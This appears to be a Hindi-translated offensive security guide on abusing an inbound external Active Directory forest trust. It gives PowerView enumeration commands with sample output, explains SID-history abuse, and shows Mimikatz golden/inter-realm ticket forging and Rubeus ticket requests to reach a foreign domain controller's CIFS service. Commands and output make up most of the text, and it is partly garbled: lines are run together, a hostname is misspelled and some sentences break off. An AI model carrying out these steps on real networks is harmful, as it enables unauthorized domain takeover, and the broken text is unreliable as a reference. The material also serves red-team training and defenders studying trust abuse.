इस परिदृश्य में एक बाहरी डोमेन आप पर भरोसा कर रहा है (या दोनों एक-दूसरे पर भरोसा कर रहे हैं), इसलिए आपको इसके ऊपर कुछ प्रकार की पहुंच प्राप्त हो सकती है।
Enumeration
सबसे पहले, आपको enumerate करना होगा trust:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
In the previous enumeration it was found that the user crossuser is inside the External Admins group who has Admin access inside the DC of the external domain.
प्रारंभिक पहुँच
यदि आप किसी विशेष पहुँच को अपने उपयोगकर्ता के लिए अन्य डोमेन में नहीं ढूंढ पाए, तो आप अभी भी AD पद्धति पर वापस जा सकते हैं और एक अप्रिविलेज्ड उपयोगकर्ता से प्रिवेस्क करने की कोशिश कर सकते हैं (जैसे कि केर्बेरोस्टिंग):
आप Powerview फ़ंक्शंस का उपयोग करके -Domain पैरामीटर के साथ अन्य डोमेन को एन्यूमरेट कर सकते हैं जैसे:
आप एक वन ट्रस्ट के पार SID इतिहास का भी दुरुपयोग कर सकते हैं।
यदि एक उपयोगकर्ता एक वन से दूसरे वन में स्थानांतरित किया जाता है और SID फ़िल्टरिंग सक्षम नहीं है, तो दूसरे वन से एक SID जोड़ना संभव हो जाता है, और यह SIDउपयोगकर्ता के टोकन में जोड़ दिया जाएगा जब वह ट्रस्ट के पार प्रमाणीकरण करता है।
याद दिलाने के लिए, आप साइनिंग कुंजी प्राप्त कर सकते हैं
आप वर्तमान डोमेन के उपयोगकर्ता का TGT अनुकरण करने के लिए विश्वसनीय कुंजी के साथ हस्ताक्षर कर सकते हैं।
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz-Command'"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:C:\path\save\ticket.kirbi/nowrap# Now you have a TGS to access the CIFS service of the domain controller
उपयोगकर्ता का पूर्ण तरीके से अनुकरण करना
# Get a TGT of the user with cross-domain permissionsRubeus.exeasktgt/user:crossuser/domain:sub.domain.local/aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80/opsec/nowrap# Get a TGT from the current domain for the target domain for the userRubeus.exeasktgs/service:krbtgt/domain.external/domain:sub.domain.local/dc:dc.sub.domain.local/ticket:doIFdD[...snip...]MuSU8=/nowrap# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:doIFMT[...snip...]5BTA==/nowrap# Now you have a TGS to access the CIFS service of the domain controller